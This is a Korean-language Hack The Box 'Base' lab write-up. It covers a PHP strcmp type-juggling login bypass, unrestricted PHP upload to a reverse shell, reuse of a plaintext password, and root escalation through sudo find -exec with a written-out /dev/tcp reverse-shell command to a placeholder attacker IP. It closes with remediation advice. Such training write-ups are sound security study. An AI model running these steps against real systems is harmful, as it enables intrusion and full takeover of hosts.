Post

(Hack The Box) Base Write up

HTB Base 박스 공략 – nmap 스캔부터 파일 업로드 취약점, 권한 상승까지 단계별 실습

(Hack The Box) Base Write up

Base Write up

image.png


정보수집

Port Scan

nmap을 통해 공격 머신에 포트스캔을 시도합니다. 22번과 80번 포트가 열려있네요 :)

22번 포트는 OpenSSH를 사용하고 있고, 80번 포트로 웹 어플리케이션을 서비스 중입니다.

image.png

Web Application 확인

Base라는 타이틀의 웹 서비스를 하고있으며, 네비게이션 바의 대부분 메뉴 버튼은 앵커링크로 되어 있었습니다. Login 버튼은 별도의 페이지로 이동되는 것을 확인할 수 있었습니다.

앵커링크(Anchor Link)란 웹페이지 내에서 특정 위치로 바로 이동할 수 있도록 설정된 하이퍼링크

image.png

Login 버튼을 누르면 로그인 페이지로 이동합니다. 경로는 /login/login.php 로 PHP로 개발된 것을 확인할 수 있었습니다.

image.png

취약점 진단 및 공격

Directory Indexing (디렉터리 인덱싱) 및 swp 파일 노출

http://{공격 대상 머신 IP}/login/ 으로 이동 시 디렉토리 인덱싱(Directory Indexing) 취약점이 발생한 것을 확인할 수 있습니다. root 디렉터리 외에 다른 디렉터리들의 파일들을 확인할 수 있습니다!

아래 경로에는 login.php.swp 이라는 파일을 확인할 수 있는데 swp 파일은 vi, vim 에디터에서 사용되는 임시파일입니다.

swp파일은 php 확장자가 아니라서 다운로드가 가능합니다.

swp 파일은 보통 Vim 또는 vi 편집기가 생성하는 스왑 파일(swap file)
이 파일은 사용자가 파일을 편집하는 도중 발생할 수 있는 데이터 손실을 방지하기 위해 만들어지는 임시 파일

image.png

login.php.swp파일을 다운로드 후 vim -r login.php.swp 명령어로 임시파일을 불러올 수 있습니다. 해당 파일은 login.php파일을 작업 중에 발생한 임시파일로 login.php의 일부 소스코드를 확인할 수 있습니다.

image.png

PHP type juggling

로그인페이지의 소스코드로 인증부분을 분석해봅시다. $username$_POST['username'] 와 같이 usernamepassword의 문자열들을 비교하여 로그인에 성공하면 세션을 부여하고 upload.php로 이동 시키는 형태입니다.

여기서 확인해야할 부분이 strcmp를 통해 변를 비교하며 == 를 사용한다는 것입니다. 이는 php type juggling이라는 취약점 발생할 가능성을 가지고 있습니다.

php type juggling이란
PHP에서 변수의 데이터 타입을 명시적으로 선언하지 않아도 상황에 따라 자동으로 타입을 변경하는 것을 juggling이라 함
==(느슨한 비교)로 인해 데이터 타입을 자동으로 변환하거나 비교하는 방식을 통해 발생하며, ===(엄격한 비교)를 통해 대응이 가능함 (PHP 자료형 비교표 참고)

strcmp()함수는 두 변수의 문자열을 비교하는 함수로 비교 후 반환하는 값은 아래와 같습니다.
strcmp($string1, $string2) 반환값 : string1이 string2보다 작으면 -1, string1이 string2보다 크면 1, 같다면 0을 반환합니다.

strcmp 함수의 반환 값들의 예시는 아래와 같습니다.

1
2
3
4
5
strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

strcmp 함수 외에 여러개 변수를 비교하고 NULL, 0, False, True 과 같은 다양한 값을 반환하는 함수는 모두 사용 시 유의해야합니다.

strcmp 함수의 리턴 값과 type juggling을 이용하여 인증을 우회할 수 있습니다.

$_POST['username'] 에 문자열이 아닌 배열 형태의 데이터를 입력할 수 있다면 if문을 우회할 수 있습니다.

if ( strcmp("username", Array()) == 0 ) { 우회 성공 } → 여기서 strcmp의 반환 값을 NULL이 됩니다.

if ( NULL == 0 ) { 우회 성공 } → strcmp의 반환 값을 적용한다면 조건문은 이처럼 됩니다.

여기서 == (느슨한 비교) 비교표를 확인해 봅시다.

image.png

NULL 과 0을 == 로 비교 시 TRUE를 반환하게 되어 조건문을 통과할 수 있습니다 🙂

===(엄격한 비교)를 사용하면 해당 조건문은 FALSE를 반화하여 우회할 수 없습니다 😟

image.png

여기서 우리는 usernamepassword를 비교하는 2개의 조건문을 우회해야하기 때문에 아래처럼 공격이 가능합니다.
HTTP 파라미터 이름을 변경합니다. username → username[] 이처럼 변경한다면 PHP는 이를 배열로 판단하게 되어 우회가 가능합니다.

image.png

Arbitrary File Upload(임의의 파일 업로드)

인증 우회에 성공하여 파일 업로드 페이지에 접근할 수 있게 되었습니다. 이제 PHP 파일을 업로드할 수 있는지 테스트해보겠습니다.

image.png

echo "<?php phpinfo(); ?>" > test.php 로 php 정보를 출력하는 함수를 실행하는 test.php를 생성 후 업로드를 시도해봅니다.

image.png

또는 임의의 파일을 업로드한 후 Burp Suite를 사용하여 패킷을 수정해 업로드할 수도 있습니다. 아래와 같이 업로드 성공 메시지를 확인할 수 있습니다.
파일 업로드 시 확장자나 Content-type에 대한 필터링이 없는 것을 확인했습니다. :)

image.png

파일 업로드는 성공했지만 파일이 어떠한 디렉터리 및 경로에 업로드된지 알 수 없기에 gobuster를 이용해서 관련 디렉터리가 있는지 확인합니다.

gobuster dir -u "http://{공격 대상 머신 IP}/" -w /usr/share/wordlists/dirb/big.txt

_uploaded 라는 의심스러운 디렉터리를 찾을 수 있습니다.

image.png

http://{공격 대상 머신 IP}/_uploaded/ 로 이동하여 해당 경로에서 업로드된 test.php 파일을 확인할 수 있습니다.

이를 통해 upload.php를 통해 업로드한 파일은 _uploaded 디렉터리에 저장된다는 사실을 알 수 있습니다.

image.png

test.php로 이동하여 phpinfo() 함수가 실행되는지 확인합니다. 업로드한 PHP 소스코드가 실행되는 것을 확인하였습니다.

image.png

웹쉘이나 리버스쉘에 필요한 함수가 비활성화되어 있는지 확인해봅시다.

disable_functions에 명령어 실행관련 함수가 설정되어 있다면 웹쉘이나 리버스쉘에 어려움이 있을 수 있습니다.

open_basedir 설정은 PHP 스크립트가 접근할 수 있는 디렉토리 경로를 제한하는 설정입니다. 예를 들어 /var/www/html 가 설정되어 있다면, php환경에서 LFI(Local File Inclusion)취약점을 통해 /etc/passwd와 같은 파일들을 접근할 수 없습니다.

image.png

Reverse Shell

다행히 웹쉘 및 리버스쉘에 걸림돌이 될만한 설정은 보이지 않습니다.

리버스쉘을 작성하여 파일을 업로드 합니다.

image.png

revshell.php 로 업로드 후 잘 업로드 되었는지 확인합니다. 그리고 nc -lvnp 443으로 공격자 머신에서 리버스쉘을 대기 후 revshell.php를 실행시킵니다.

image.png

revshell.php을 통해 성공적으로 쉘을 획득할 수 있었습니다. 웹서버 권한으로 쉘을 얻었으며 여기서 추가적인 정보 수집을 통해 사용자 권한을 획득해야합니다.

image.png

사용자 권한 획득

/etc/passwd 파일을 확인하여 사용자를 확인합니다.

image.png

john이라는 사용자가 있는 것을 확인했습니다. 그리고 john의 패스워드로 추측이 가능한 패스워드를 찾습니다.

login.php의 소스코드를 기반으로 username과 password가 config.php에 정의되어 있단 걸 확인 후 config.php파일을 확인해봅시다. 아래 처럼 패스워드를 확인할 수 있습니다.

image.png

해당 패스워드를 통해 john으로 로그인을 시도하여 john 사용자 권한의 쉘을 획득할 수 있었습니다.

image.png

권한 상승

권한 상승을 위해 sudo -l 명령어를 통해 john 사용자로 sudo 명령어가 허용되어 있는지 확인합니다.

sudo -l은 리눅스/유닉스 시스템에서 현재 사용자가 실행할 수 있는 sudo 명령의 권한과 관련된 정보를 보여주는 명령어
이를 통해 사용자는 특정 명령을 관리자 권한으로 실행할 수 있는지 확인이 가능
사용자가 sudo 명령을 사용할 수 있는지, 그리고 어떤 명령에 대해 권한이 있는지 확인.
예를 들어, 특정 파일이나 명령에 대해 관리자 권한이 허용되었는지 볼 수 있음.

sudo -l 명령어 결과에 root 사용자와 root 그룹의 권한으로 /usr/bin/find 명령어가 사용가능하다는 것을 확인할 수 있습니다.

image.png

sudo /usr/bin/find 명령어를 사용하면 root권한으로 명령어 사용이 가능합니다.

여기서 우리는 root 권한으로 명령어를 실행하는 것이 목적이기 때문에 명령어 실행방법을 찾아야합니다.

find의 옵션 중 -exec 옵션이 존재합니다.

-exec 옵션은 find를 통해 특정 파일이나 디렉터리를 찾고, 그 결과에 대해서 명령어를 실행할 수 있는 옵션입니다. 자동화된 작업이나 특정 조건에 맞는 파일에 대해서 일괄 처리를 할 수 있습니다.

예를 들면 find ./ -name "*" -exec ls -al {} \; 명령어를 실행할 경우, 현재 경로에서 모든 파일과 디렉터리를 검색 후 해당 파일/디렉터리 명으로 ls -al 를 실행합니다. {}에는 검색 결과가 하나씩 적용되게 됩니다. \;-exec의 옵션 값의 끝(end)을 명시해줍니다.

명령어 예시 : find <경로> <조건> -exec <명령어> {} \;

우린 하나의 명령어만 실행하면 되기 때문에 검색 결과가 하나가 되도록 하나의 파일을 검색합니다.

그리고 -exec 옵션을 이용해 id 명령어를 테스트해봅니다.

id 명령어가 root 권한으로 실행되는 것을 확인할 수 있었습니다.

image.png

-exec 로 실행한 명령어는 모두 root권한으로 실행되기 때문에, root 권한으로 리버스쉘을 연결합니다.

sudo find user.txt -exec sh -i >& /dev/tcp/{공격자 머신 IP}/{Port} 0>&1 \;

image.png

공격자 머신에서 444포트로 리버스쉘이 연결되는 것을 확인할 수 있었습니다.

id를 통해 현재 쉘이 root권한인지 확인할 수 있습니다.

image.png

:)

대응방안

취약점의 대응방안을 간략하게 적어보았습니다.

  • 디렉터리 인덱싱

    httpd.conf 또는 apache2.conf 설정파일에서 아래 처럼 Options -Indexes로 설정

    1
    2
    3
    
      <Directory /var/www/html>
      	Options -Indexes
      </Directory>
    
  • swp(스왑)파일 비활성화

    스왑 파일은 Vim의 설정 파일인 .vimrc 또는 전역 설정 파일 /etc/vim/vimrc에서 아래 구문을 추가하여 비활성화 set noswapfile

  • php type juggling

    조건문 사용 시 각 변수나 함수의 값을 예측하여 ===(엄격한 비교)를 사용하여 적절하게 조건문을 만들어야함

  • 임의 파일 업로드

    파일 업로드 시 Content-Type, 파일의 확장자 및 파일 시그니처를 검증하여 화이트리스트 형태로 필터링이 필요

  • 아이디 패스워드 평문 저장

    중요정보인 아이디/패스워드를 파일에 평문으로 저장하지 않고 Database를 통해 암호화하여 저장 후 비교하여 사용

  • sudo -l

    sudoers 파일 수정 하여 불필요한 권한 제거

참조

https://www.php.net/manual/en/language.operators.comparison.php

https://www.php.net/manual/en/function.strcmp.php

This post is licensed under CC BY 4.0 by the author.